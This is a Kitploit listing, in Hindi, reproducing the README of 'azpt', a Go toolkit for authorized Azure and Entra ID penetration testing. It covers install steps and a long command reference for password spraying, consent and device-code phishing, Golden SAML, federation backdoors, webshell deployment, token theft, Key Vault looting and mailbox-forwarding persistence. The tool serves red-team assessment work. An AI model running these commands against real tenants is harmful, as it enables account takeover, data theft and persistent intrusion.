Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
azure-pentesting-suite — Azure सुरक्षा आकलन के लिए Go टूलकिट: सदस्यताओं और संसाधनों की गणना करता है, गलत कॉन्फ़िगरेशन का ऑडिट करता है, और सार्वजनिक Blob स्टोरेज पर अनाम रूप से हमला करता है। | Kitploit
उपकरण/GitHubGitHub/hac01/azure-pentesting-suite
विशेषाधिकार वृद्धिटोहीपासवर्ड हमलेभेद्यता विश्लेषणपार्श्व आंदोलनडेटा निष्कासनजानकारी एकत्र करनापोस्ट-शोषणफिशिंगपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षारेड टीमिंग
8217156 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubhac01/azure-pentesting-suite

azure-pentesting-suite

Azure सुरक्षा आकलन के लिए Go टूलकिट: सदस्यताओं और संसाधनों की गणना करता है, गलत कॉन्फ़िगरेशन का ऑडिट करता है, और सार्वजनिक Blob स्टोरेज पर अनाम रूप से हमला करता है।

रिपॉजिटरी देखें

azure-pentesting-suite (azpt)

🚧 सार्वजनिक बीटा। azpt सक्रिय विकास के अधीन है — कमांड, फ़्लैग, और आउटपुट फ़ॉर्मेट रिलीज़ के बीच बदल सकते हैं। बग रिपोर्ट और फ़ीडबैक GitHub issues के माध्यम से स्वागत योग्य हैं।

azpt अधिकृत Azure सुरक्षा आकलनों के लिए एक Go टूलकिट है। यह दो दृष्टिकोणों से काम करता है:

  • प्रमाणित (आपके पास Azure क्रेडेंशियल हैं): सदस्यताओं और संसाधनों की गणना करें, और गलत कॉन्फ़िगरेशन के लिए उनका ऑडिट करें।
  • अनाम (कोई क्रेडेंशियल नहीं): सार्वजनिक Blob स्टोरेज पर उसी तरह हमला करें जैसे कोई बाहरी हमलावर करता — कंटेनरों की सूची बनाएं, blob संस्करणों की गणना करें, और उन गुप्त-युक्त फ़ाइलों को डाउनलोड करें जिन्हें लाइव साइट अब संदर्भित नहीं करती।

⚠️ केवल अधिकृत उपयोग। इसे केवल उन टेनेंट, सदस्यताओं, और स्टोरेज खातों के विरुद्ध चलाएं जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। अनाम blob कमांड इंटरनेट पर तृतीय-पक्ष अधोसंरचना को स्पर्श करते हैं — उन्हें अपने एंगेजमेंट तक सीमित रखें।

नीचे दिए गए सभी उदाहरण एक काल्पनिक Acme Corp को लक्षित करते हैं जिसकी स्थिर मार्केटिंग साइट acmewebsite नामक Azure स्टोरेज खाते से होस्ट की गई है (https://acmewebsite.blob.core.windows.net)।


दस्तावेज़ीकरण

पूर्ण दस्तावेज़ीकरण docs/ में है:

  • गहन गाइड (docs/guides/) — प्रति सुविधा: तकनीक कैसे काम करती है, इसके लिए आवश्यक सटीक Azure RBAC / Microsoft Graph अनुमति, मुख्य फ़्लैग की व्याख्या, उदाहरण, और OPSEC / डिटेक्शन नोट्स — एंगेजमेंट चरण के अनुसार व्यवस्थित।
  • परिदृश्य वॉकथ्रू (docs/guides/scenarios/) — एंड-टू-एंड हमला आख्यान जो चरणों में कमांडों को श्रृंखलाबद्ध करते हैं (टोकन → Global Admin, Golden SAML टेकओवर, PRT चोरी, सहमति फ़िशिंग → M365, प्रबंधित-पहचान पार्श्व गति, ऑफ़लाइन निर्देशिका शिकार, डिवाइस-कोड फ़िशिंग), प्रत्येक में OPSEC और क्लीनअप के साथ।
  • कमांड संदर्भ (docs/reference/) — प्रति कमांड एक स्वतः-जनित पृष्ठ जिसमें प्रत्येक फ़्लैग (नाम, शॉर्टहैंड, प्रकार, डिफ़ॉल्ट, विवरण) है। azpt gen-docs docs/reference से पुनर्जनित करें; वही जानकारी azpt <command> --help से भी प्रिंट होती है।

विषय-सूची

  • इंस्टॉल
  • त्वरित शुरुआत
  • प्रमाणीकरण
  • कमांड संदर्भ
  • वॉकथ्रू: अनाम blob हमला
  • निष्कर्ष
  • आउटपुट फ़ॉर्मेट
  • आर्किटेक्चर
  • विकास
  • रोडमैप
  • लाइसेंस

इंस्टॉल

प्रीबिल्ट बाइनरी

नवीनतम रिलीज़ से अपने प्लेटफ़ॉर्म के लिए आर्काइव डाउनलोड करें, इसे सत्यापित करें, और निकालें:```bash

adjust VERSION/OS/ARCH to match the asset you downloaded

tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS

root@kitploit:~
बाइनरीज़ स्थिर (`CGO_ENABLED=0`) हैं और उन्हें किसी रनटाइम निर्भरता की आवश्यकता नहीं है।
बिल्ड linux और darwin पर amd64 और arm64 के लिए प्रकाशित किए जाते हैं।

Windows बाइनरीज़ प्रकाशित नहीं की जाती हैं। Windows-केवल हेल्पर्स (`prt extract`,
`adconnect sync-creds`, DPAPI) अभी भी Windows होस्ट पर `go build -o
azpt.exe .` के साथ सोर्स से बिल्ड होते हैं।

### सोर्स से

Go 1.26+ आवश्यक है।```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .

यह रेपो रूट में एक स्व-निहित azpt बाइनरी उत्पन्न करता है। आप रेपो निर्देशिका से go run . <command> के माध्यम से बिना बिल्ड किए भी चला सकते हैं।


त्वरित शुरुआत

अनाम blob कमांड के लिए किसी Azure लॉगिन की आवश्यकता नहीं है:```bash

One command: probe Acme's storage, enumerate versions, flag secret files

./azpt blob hunt --account acmewebsite

root@kitploit:~
Azure क्रेडेंशियल्स (`az login`) के साथ, अंदर से आकलन करें — दोनों संसाधन प्लेन (ARM) और निर्देशिका (Entra ID / Graph):```bash
./azpt enum whoami                 # who am I authenticated as?
./azpt enum subscriptions          # what subscriptions can this principal see?
./azpt audit storage               # misconfigured storage accounts
./azpt enum users                  # dump the Entra ID directory (Graph)

एक सामान्य श्रृंखला: blob hunt के साथ गुमनाम रूप से एक क्रेडेंशियल पुनर्प्राप्त करें, उस उपयोगकर्ता के रूप में लॉग इन करें (az login), enum access के साथ देखें कि यह क्या कर सकता है, फिर किसी भी Key Vault तक पहुँचें जिन तक आप पहुँच सकते हैं और उन्हें लूट लें:```bash ./azpt enum access # token scopes, directory roles, groups, RBAC roles ./azpt enum resources # find Key Vaults (type: vaults) ./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault ./azpt vault dump --vault ext-contractors # read every secret value (the loot)

root@kitploit:~
---

## प्रमाणीकरण

अनाम `blob` कमांड्स को **कोई** प्रमाणीकरण की आवश्यकता नहीं है। बाकी सब कुछ Azure **डिफ़ॉल्ट क्रेडेंशियल चेन** का उपयोग करता है, जो क्रम में प्रयास करता है: पर्यावरण चर, वर्कलोड आइडेंटिटी, मैनेज्ड आइडेंटिटी, और Azure CLI (`az login`)।```bash
az login
./azpt enum subscriptions

service-principal प्रमाणीकरण को स्पष्ट रूप से बाध्य करें (एक स्कोप्ड मूल्यांकन पहचान के लिए उपयोगी) फ्लैग्स या environment variables के साथ। अभी तक एक नहीं है? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> एक बना देता है — पूर्ण walkthrough के लिए Getting started देखें, जिसमें वे Graph permissions भी शामिल हैं जो अकेले RBAC आपको प्रदान नहीं करेगा:```bash ./azpt --tenant --client-id --client-secret
enum subscriptions

equivalently:

export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions

root@kitploit:~
**प्रमाणपत्र-आधारित** प्रमाणीकरण (PFX या PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
       --certificate ./cert.pfx --cert-password 'P@ss' \
       enum subscriptions

--subscription के साथ प्रमाणित रन को विशिष्ट सदस्यताओं तक सीमित करें (दोहराने योग्य); डिफ़ॉल्ट वह हर सदस्यता है जिस तक प्रिंसिपल पहुँच सकता है:```bash ./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage

root@kitploit:~
---

## कमांड संदर्भ

🧪 एक ऐसा कमांड दर्शाता है जो अभी भी **बीटा** में है: लागू और उपयोग योग्य, लेकिन सूट के बाकी हिस्सों की तुलना में कम परखा गया — अपेक्षा करें कि इसमें खुरदुरे किनारे होंगे, और कृपया आपको मिलने वाली समस्याओं की रिपोर्ट करें।

| कमांड | प्रमाणीकरण | API | विवरण |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | क्या डोमेन Entra ID द्वारा समर्थित है? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | टेनेंट ID खोजें (OpenID config) |
| `recon outsider <domain>` | ❌ | Identity+DNS | पूर्ण outsider recon: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Azure सेवा सबडोमेन की गणना करें (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | सत्यापित करें कि उपयोगकर्ता नाम Entra ID में मौजूद हैं या नहीं |
| `spray` | ❌ | Identity | उपयोगकर्ता नामों पर एक पासवर्ड का पासवर्ड-स्प्रे करें (केवल अधिकृत) |
| `mfa audit` | ❌ | Identity | MFA-प्रवर्तन अंतराल खोजें (संसाधनों/क्लाइंट/User-Agents में ROPC) |
| `mfa token` | ❌ | Identity | MFA अंतराल के माध्यम से एक एक्सेस टोकन प्राप्त करें (स्वतः User-Agents आज़माता है) |
| `mfa refresh` | ❌ | Identity | किसी अन्य संसाधन के टोकन के लिए रीफ्रेश टोकन भुनाएं (FOCI) |
| `mfa devicecode` | ❌ | Identity | डिवाइस-कोड फ़िशिंग ल्यूर → पीड़ित के साइन इन करने के बाद टोकन कैप्चर करें |
| `imds token` | ❌ | IMDS | समझौता किए गए संसाधन पर एक managed-identity टोकन बनाएं (on-box चलाएं) |
| `imds loot` | ❌ | IMDS | ARM, Graph, Storage, और Key Vault के लिए एक साथ MI टोकन प्राप्त करें |
| `enum ca` | ✅ | Graph | Conditional Access नीतियों की गणना करें और MFA अंतरालों को चिह्नित करें |
| `enum deployments` | ✅ | ARM | ARM परिनियोजन इतिहास सूचीबद्ध करें, गुप्त-युक्त पैरामीटर चिह्नित करें |
| `webapp list/settings/creds` | ✅ | ARM | App Service इन्वेंटरी, ऐप सेटिंग्स, Kudu प्रकाशन क्रेडेंशियल |
| `webapp exec` | ✅ | ARM/Kudu | Kudu के माध्यम से किसी साइट पर कमांड चलाएं (RCE) |
| `webapp loot` | ✅ | ARM | प्रत्येक ऐप: सेटिंग्स + कनेक्शन स्ट्रिंग्स + Kudu क्रेडेंशियल, गुप्त जानकारी चिह्नित करें |
| `storage keys` | ✅ | ARM | स्टोरेज अकाउंट की एक्सेस कुंजियाँ सूचीबद्ध करें |
| `storage sas` | ✅ | ARM | ARM के माध्यम से एक अकाउंट SAS टोकन बनाएं |
| `vm list` / `vm run` | ✅ | ARM | VM सूचीबद्ध करें / RunCommand के माध्यम से कमांड चलाएं |
| `automation list/loot` | ✅ | ARM | Automation रनबुक, वेरिएबल, क्रेडेंशियल नाम |
| `loot keys` | ✅ | ARM | Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps से कुंजियाँ/कनेक्शन स्ट्रिंग्स स्वीप करें |
| `loot apim` | ✅ | ARM | API Management नामित मान (गुप्त सहित) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Logic App परिभाषाएँ / Data Factory लिंक्ड सेवाएँ |
| `aks list` / `aks kubeconfig` | ✅ | ARM | AKS क्लस्टर सूचीबद्ध करें / cluster-admin kubeconfig प्राप्त करें |
| `enum approles` | ✅ | Graph | Graph ऐप-रोल अनुदानों की गणना करें, privesc पथ चिह्नित करें (→ Global Admin) |
| `enum privroles` | ✅ | Graph | विशेषाधिकार प्राप्त निर्देशिका-भूमिका धारक (सक्रिय + PIM-योग्य) |
| `enum grants` | ✅ | Graph | OAuth2 प्रतिनिधि अनुदान (अवैध / अति-सहमति), खतरनाक स्कोप चिह्नित |
| `enum laps` | ✅ | Graph | Entra से Windows LAPS स्थानीय-व्यवस्थापक पासवर्ड प्राप्त करें |
| `enum bitlocker` | ✅ | Graph | Entra से BitLocker रिकवरी कुंजियाँ प्राप्त करें |
| `enum dynamicgroups` | ✅ | Graph | गतिशील (नियम-आधारित) समूह — स्वयं-जुड़ाव / privesc सतह |
| `enum guests` / `enum devices` | ✅ | Graph | अतिथि (B2B) उपयोगकर्ता / पंजीकृत डिवाइस |
| `enum risky` | ✅ | Graph | पुराना/जोखिम भरा शिकार: अतिथि, sync SP, break-glass, गुप्त जानकारी वाले ऐप |
| `enum intune` / `intune list` | ✅ | Graph | Intune-प्रबंधित डिवाइस सूचीबद्ध करें |
| `intune script` | ✅ | Graph | किसी डिवाइस समूह पर PowerShell स्क्रिप्ट तैनात करें (SYSTEM RCE) |
| `recon tenantinfo` | ❌ | Identity | गहन outsider recon: टेनेंट ID, फेडरेशन, Seamless SSO, on-prem sync |
| `entra create-app` | ✅ | Graph | ऐप + SP + गुप्त जानकारी बनाएं (नियंत्रणीय स्थायित्व पहचान) |
| `entra reset-password` | ✅ | Graph | उपयोगकर्ता का पासवर्ड रीसेट करें (अकाउंट टेकओवर) |
| `token decode` | ❌ | — | JWT के दावों को डिकोड करें (पहचान, स्कोप, भूमिकाएँ, wids→भूमिका नाम, समाप्ति) |
| `elevate-access` | ✅ | ARM | टेनेंट रूट पर Global Admin → User Access Administrator (Entra→Azure पिवट) |
| `entra add-member/add-owner` | ✅ | Graph | किसी समूह/ऐप/SP में सदस्य/स्वामी जोड़ें (privesc और स्थायित्व) |
| `entra grant` | ✅ | Graph | OAuth2 सहमति अनुदान बनाएं (अवैध सहमति) |
| `entra invite` / `entra tap` | ✅ | Graph | B2B अतिथि आमंत्रित करें / Temporary Access Pass बनाएं (प्रमाणीकरण बायपास) |
| `scan --loot` | ✅ | ARM+Graph | गहन-स्कैन लूट: Function App कुंजियाँ, AKS kubeconfig, LAPS, BitLocker, APIM, DB फ़ायरवॉल, स्नैपशॉट, कस्टम भूमिकाएँ, पुराने क्रेडेंशियल |
| `scan --bloodhound` | ✅ | — | Entra+ARM ग्राफ़ को BloodHound CE OpenGraph JSON के रूप में निर्यात करें |
| `enum adminunits` | ✅ | Graph | प्रशासनिक इकाइयाँ और उनके स्कोप्ड भूमिका सदस्य (AU-स्कोप्ड व्यवस्थापक दुरुपयोग) |
| `enum identities` | ✅ | ARM | प्रबंधित पहचानों को उनके होस्ट संसाधनों से मैप करें |
| `enum lighthouse` | ✅ | ARM | Azure Lighthouse प्रतिनिधिमंडल (बाहरी टेनेंट इस सब का प्रबंधन कर रहे हैं) |
| `enum pip` | ✅ | ARM | सदस्यता स्कोप में सार्वजनिक IP पते सूचीबद्ध करें |
| `entra update-profile` | ✅ | Graph | उपयोगकर्ता की प्रोफ़ाइल विशेषताएँ अपडेट करें (गतिशील समूह दुरुपयोग) |
| `app add-secret` | ✅ | Graph | ऐप पंजीकरण में क्लाइंट गुप्त जानकारी जोड़ें (स्थायित्व/privesc) |
| `app add-federated` | ✅ | Graph | फ़ेडरेटेड पहचान क्रेडेंशियल जोड़ें (बाहरी-IdP स्थायित्व) |
| `webapp functionkeys` | ✅ | ARM | Function App होस्ट कुंजियाँ (मास्टर कुंजी → व्यवस्थापक API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | डिस्क/स्नैपशॉट सूचीबद्ध करें / ऑफ़लाइन VHD लूट के लिए read-SAS निर्यात |
| `storage shares` / `storage queues` | ✅ | ARM | Azure Files शेयर / Storage कतारें सूचीबद्ध करें |
| `storage peek` / `storage files` | ✅ | Storage | कतार संदेश सामग्री देखें / फ़ाइल-शेयर फ़ाइलें सूचीबद्ध करें (डेटा प्लेन) |
| `loot aci` | ✅ | ARM/data | Container Instances env वेरिएबल |
| `loot appconfig` 🧪 | ✅ | ARM/data | App Configuration कुंजी-मान |
| `cosmos list/dump/table` | ✅ | ARM+data | Cosmos DB अकाउंट, डेटाबेस, कंटेनर, दस्तावेज़ पठन, Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Container App गुप्त जानकारी + env वेरिएबल / रेप्लिका में exec / MI टोकन चुराएं |
| `iot list/devices/invoke` | ✅ | ARM+data | IoT Hub कुंजियाँ, डिवाइस पहचान, direct-method invocation (डिवाइस RCE) |
| `backup vaults/items/restore` | ✅ | ARM | Recovery Services वॉल्ट, बैकअप आइटम + रिकवरी पॉइंट, डिस्क पुनर्स्थापित करें |
| `db list/query` | ✅ | ARM+data | PostgreSQL/MySQL सर्वर गणना और क्वेरी (Entra या DB लॉगिन) |
| `blob containers` | ❌ | Blob | स्टोरेज अकाउंट पर सभी कंटेनर सूचीबद्ध करें (सेवा-स्तरीय SAS के लिए --sas के साथ) |
| `m365 mail/files/sites` | ✅ | Graph | Graph टोकन के साथ मेलबॉक्स, OneDrive, और SharePoint लूटें |
| `blob brute` | ❌ | DNS/Blob | नाम से स्टोरेज अकाउंट खोजें और अनाम कंटेनरों की जाँच करें |
| `recon takeover` | ❌ | DNS | लटके हुए Azure CNAME चिह्नित करें (सबडोमेन टेकओवर) |
| `audit network` | ✅ | ARM | NSG इंटरनेट एक्सपोज़र और सार्वजनिक IP का ऑडिट करें |
| `audit keyvault` | ✅ | ARM | Key Vault सार्वजनिक पहुँच, purge/soft-delete, व्यापक नीतियों का ऑडिट करें |
| `audit rbac` | ✅ | ARM | RBAC स्वच्छता का ऑडिट करें: Owner फैलाव, UAA, जोखिम भरी कस्टम भूमिकाएँ |
| `enum subscriptions` | ✅ | ARM | वर्तमान प्रिंसिपल को दिखाई देने वाली सदस्यताएँ सूचीबद्ध करें |
| `enum resources` | ✅ | ARM | सदस्यता स्कोप में प्रत्येक संसाधन सूचीबद्ध करें (`--fast` Resource Graph का उपयोग करता है; `--access` प्रत्येक पर आपके पास मौजूद RBAC भूमिका का एक कॉलम जोड़ता है) |
| `enum kql` | ✅ | ARM | स्कोप में एक मनमाना Azure Resource Graph (KQL) क्वेरी चलाएं |
| `enum users` | ✅ | Graph | Entra ID निर्देशिका उपयोगकर्ता सूचीबद्ध करें |
| `enum groups` | ✅ | Graph | Entra ID निर्देशिका समूह सूचीबद्ध करें |
| `enum service-principals` | ✅ | Graph | सेवा प्रिंसिपल / एंटरप्राइज़ ऐप सूचीबद्ध करें |
| `enum apps` | ✅ | Graph | ऐप पंजीकरण सूचीबद्ध करें, गुप्त/प्रमाणपत्र गणना के साथ |
| `enum org` | ✅ | Graph | टेनेंट/संगठन जानकारी और सत्यापित डोमेन दिखाएं |
| `enum whoami` | ✅ | Graph | वर्तमान में प्रमाणित उपयोगकर्ता दिखाएं (`/me`) |
| `enum access` | ✅ | ARM+Graph | अपनी प्रभावी पहुँच दिखाएं: टोकन स्कोप, निर्देशिका भूमिकाएँ, समूह सदस्यताएँ, RBAC भूमिकाएँ |
| `scan` | ✅ | ARM+Graph | उपयोगकर्ता की पहुँच को BloodHound-शैली हमला-पथ ग्राफ़ के रूप में मैप करें (+ HTML) |
| `audit storage` | ✅ | ARM | स्टोरेज अकाउंट का ऑडिट करें (सार्वजनिक पहुँच, TLS, ट्रांसपोर्ट, फ़ायरवॉल) |
| `vault list` | ✅ | KV | Key Vault में गुप्त जानकारी, कुंजियाँ, और प्रमाणपत्र सूचीबद्ध करें |
| `vault get --secret <n>` | ✅ | KV | एकल Key Vault गुप्त मान पढ़ें |
| `vault dump` | ✅ | KV | Key Vault में प्रत्येक गुप्त जानकारी सूचीबद्ध करें और पढ़ें |
| `sql databases` | ✅ | SQL | Azure SQL सर्वर पर डेटाबेस सूचीबद्ध करें |
| `sql tables` | ✅ | SQL | डेटाबेस में तालिकाएँ (पंक्ति गणना के साथ) सूचीबद्ध करें |
| `sql query -q <sql>` | ✅ | SQL | केवल-पठन क्वेरी चलाएं (म्यूटेशन के लिए `--allow-write` चाहिए) |
| `sql dump --table <t>` | ✅ | SQL | तालिका से पंक्तियाँ डंप करें |
| `storage containers` | ✅ | Storage | ब्लॉब कंटेनर सूचीबद्ध करें (प्रमाणित) |
| `storage blobs` | ✅ | Storage | कंटेनर में ब्लॉब सूचीबद्ध करें (प्रमाणित) |
| `storage download` | ✅ | Storage | एक ब्लॉब डाउनलोड करें (प्रमाणित) |
| `storage tables` | ✅ | Storage | अकाउंट में Storage Tables सूचीबद्ध करें |
| `storage entities` | ✅ | Storage | Storage Table की पंक्तियों को क्वेरी/डंप करें |
| `blob check <path>` | ❌ | Blob | अनाम पहुँच का परीक्षण करने के लिए ब्लॉब का HEAD करें |
| `blob list` | ❌ | Blob | कंटेनर को अनाम रूप से सूचीबद्ध करें (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | ब्लॉब संस्करणों की गणना करें — पुरानी/अधिक्रमित/हटाई गई फ़ाइलें सामने लाता है |
| `blob download <path>` | ❌ | Blob | एक ब्लॉब डाउनलोड करें, वैकल्पिक रूप से एक विशिष्ट `--version-id` |
| `blob hunt` | ❌ | Blob | कंटेनरों की जाँच करें, संस्करणों की गणना करें, और गुप्त-युक्त फ़ाइलें चिह्नित करें |
| `vm show` | ✅ | ARM | विस्तृत VM जानकारी: उपयोगकर्ता डेटा, सार्वजनिक/निजी IP, टैग, व्यवस्थापक उपयोगकर्ता |
| `vm extensions` | ✅ | ARM | VM एक्सटेंशन सूचीबद्ध करें (Custom Script Extension क्रेडेंशियल लीक) |
| `vm steal-token` | ✅ | ARM | IMDS के माध्यम से VM से managed-identity टोकन चुराएं (RunCommand) |
| `enum synced` | ✅ | Graph | Security Identifiers (SIDs) के साथ on-premises सिंक किए गए उपयोगकर्ता सूचीबद्ध करें |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Power Platform वातावरण (Dataverse इंस्टेंस) सूचीबद्ध करें |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Power Apps कैनवास एप्लिकेशन सूचीबद्ध करें |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Dataverse तालिकाएँ (इकाई परिभाषाएँ) सूचीबद्ध करें |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | OData के माध्यम से Dataverse तालिका से पंक्तियाँ क्वेरी करें |
| `webapp deploy` | ✅ | Kudu | Kudu VFS के माध्यम से वेब ऐप पर फ़ाइल अपलोड करें (वेबशेल तैनाती) |
| `token extract` | ❌ | — | MSAL टोकन कैश फ़ाइल से टोकन निकालें (रीफ्रेश + एक्सेस) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Teams चैनल, मेल खोज, SharePoint/OneDrive खोज |
| `m365 scan` | ✅ | Graph | गुप्त जानकारी, पासवर्ड, क्रेडेंशियल के लिए M365 डेटा स्कैन करें (14 पैटर्न) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Azure DevOps संगठनों की गणना करें: प्रोजेक्ट, सेवा कनेक्शन (SP/टेनेंट/सदस्यता उजागर), वेरिएबल समूह, पाइपलाइन |
| `devops preview` | ✅ | DevOps | टेम्पलेट/वेरिएबल विस्तार के बाद पाइपलाइन का अंतिम YAML हल करें, बिना चलाए |
| `devops run` | ✅ | DevOps | एक वास्तविक पाइपलाइन रन कतार में डालें और उसका बिल्ड लॉग कैप्चर करें (पाइपलाइन की सेवा-कनेक्शन पहचान के रूप में निष्पादित होता है) |
| `arm deploy-script` | ✅ | ARM | `deploymentScripts` के माध्यम से एक अस्थायी ACI कंटेनर में कोड चलाएं (RCE), वैकल्पिक रूप से एक प्रबंधित पहचान संलग्न करें |
| `persistence grant-rbac` | ✅ | ARM | स्वयं या किसी प्रिंसिपल को किसी भी स्कोप पर एक RBAC भूमिका (जैसे Owner) असाइन करें (privesc/स्थायित्व) |
| `persistence attach-identity` | ✅ | ARM | किसी संसाधन में उपयोगकर्ता-असाइन किए गए प्रबंधित पहचान को संलग्न करें (`steal-token` के माध्यम से privesc) |
| `aks kubeconfig --user` | ✅ | ARM | Entra-प्रमाणित उपयोगकर्ता kubeconfig प्राप्त करें (स्थानीय खाते अक्षम वाले क्लस्टर पर काम करता है) |
| `k8s secrets` | ✅ | K8s | नेमस्पेस में (या पूरे क्लस्टर में) प्रत्येक Kubernetes गुप्त जानकारी डंप करें |
| `k8s serviceaccounts` | ✅ | K8s | सेवा खाते सूचीबद्ध करें, Azure Workload Identity के माध्यम से फ़ेडरेटेड वाले चिह्नित करें |
| `k8s pods` | ✅ | K8s | पॉड और प्रत्येक किस सेवा खाते के रूप में चलता है, सूचीबद्ध करें |
| `k8s rbac` | ✅ | K8s | क्लस्टर/भूमिका बाइंडिंग की गणना करें, cluster-admin/wildcard/pod-exec/secrets-read privesc पथ चिह्नित करें |
| `k8s exec` | ✅ | K8s | पॉड में कमांड चलाएं (गैर-इंटरैक्टिव RCE, उस पॉड के सेवा खाते के रूप में) |
| `k8s steal-token` | ✅ | K8s | TokenRequest API के माध्यम से सेवा-खाता टोकन बनाएं (बिना माउंट किए गए टोकन गुप्त जानकारी के काम करता है) |
| `k8s pivot-azure` | ✅ | K8s→Entra | workload-identity-फ़ेडरेटेड SA टोकन चुराएं और इसे वास्तविक Azure AD एक्सेस टोकन के लिए एक्सचेंज करें |
| `harvest` | ❌ | — | डिस्क पर az CLI / Az PowerShell क्रेडेंशियल स्टोर लूटें (टोकन, SP गुप्त जानकारी; Windows पर DPAPI-संरक्षित स्टोर) |
| `prt nonce` 🧪 | ❌ | Identity | PRT कुकी हस्ताक्षर के लिए सर्वर nonce (`srv_challenge`) प्राप्त करें |
| `prt cookie` 🧪 | ❌ | Identity | PRT + सत्र कुंजी (KDF v2) से एक हस्ताक्षरित `x-ms-RefreshTokenCredential` SSO कुकी बनाएं |
| `prt auth` 🧪 | ❌ | Identity | पूर्ण PRT SSO श्रृंखला: nonce → कुकी → authorize → एक्सेस + रीफ्रेश टोकन |
| `prt extract` 🧪 | ❌ | Identity | On-host (Windows): BrowserCore.exe से एक ताज़ा SSO कुकी निकालें और इसे भुनाएं (ROADtoken) |
| `device register` | ✅ | DRS | एक रोग डिवाइस पंजीकृत करें (जॉइन) → डिवाइस प्रमाणपत्र/कुंजी — PRT पूर्वापेक्षा, device-CA बायपास, स्थायित्व |
| `federation list` | ✅ | Graph | डोमेन का फेडरेशन कॉन्फ़िगरेशन दिखाएं |
| `federation backdoor` | ✅ | Graph | एक प्रबंधित डोमेन को Federated में बदलें, हमलावर STS पर भरोसा करते हुए (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | किसी भी उपयोगकर्ता के लिए एक हस्ताक्षरित SAML दावा बनाएं और इसे टोकन के लिए भुनाएं (Golden SAML) |
| `federation remove` | ✅ | Graph | एक फेडरेशन कॉन्फ़िगरेशन हटाएं (Managed पर वापस लौटें / सफ़ाई) |
| `entra phish-app create` 🧪 | ✅ | Graph | एक मल्टी-टेनेंट OAuth सहमति-फ़िशिंग ऐप + सहमति URL बनाएं (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | स्थानीय श्रोता जो सहमति प्रमाणीकरण कोड को पकड़ता है और इसे टोकन के लिए भुनाता है |
| `m365 rules list/add/delete` | ✅ | Graph | इनबॉक्स अग्रेषण नियम (मौन मेलबॉक्स-अग्रेषण स्थायित्व) |
| `scan dump` | ✅ | ARM+Graph | निर्देशिका + हमला ग्राफ़ को ऑफ़लाइन शुद्ध-Go SQLite डेटाबेस में खींचें |
| `scan query <view>` | ❌ | — | डंप के विरुद्ध तैयार विश्लेषणात्मक दृश्य चलाएं (`admins`, `password-resetters`, `dangerous-approles`, …) |
| `adconnect sync-creds` | ✅ | ADSync SQL | ADSync DB से एन्क्रिप्टेड AD Connect सिंक बाइंड-क्रेडेंशियल डंप करें (AADInternals `Get-AADIntSyncCredentials` के साथ डिक्रिप्ट करें) |

`azpt` तीन Azure API से बात करता है। **ARM** कमांड Azure SDK का उपयोग करते हैं; **Graph** कमांड (Entra ID / निर्देशिका ऑब्जेक्ट) उसी क्रेडेंशियल से एक कच्चा Graph टोकन उपयोग करते हैं; **Blob** कमांड पूरी तरह से अनाम हैं।

**वैश्विक फ़्लैग** (सबकमांड से पहले): `--json`, `--jsonl` (NDJSON, स्ट्रीमिंग/BloodHound-शैली पाइपलाइन के लिए), `--opsec` (चलाने से पहले डिटेक्शन सतह प्रिंट करें), `--subscription <id>` (दोहराने योग्य), `--tenant`, `--client-id`, `--client-secret`, `--certificate` (PFX/PEM), `--cert-password`, `--access-token` (दोहराने योग्य, या `AZPT_TOKEN`), `--refresh-token` (FOCI ऑटो-पिवट), `--cloud` (`public` | `usgov` | `china` — संप्रभु क्लाउड के लिए ARM/Graph/login एंडपॉइंट को पुनः लक्षित करता है)।

सभी ARM और Graph कॉल `nextLink` पेजिनेशन का पालन करते हैं (बड़े टेनेंट पर कोई मौन काट-छांट नहीं) और `Retry-After` का सम्मान करते हुए `429`/`503` पर पुनः प्रयास करते हैं।

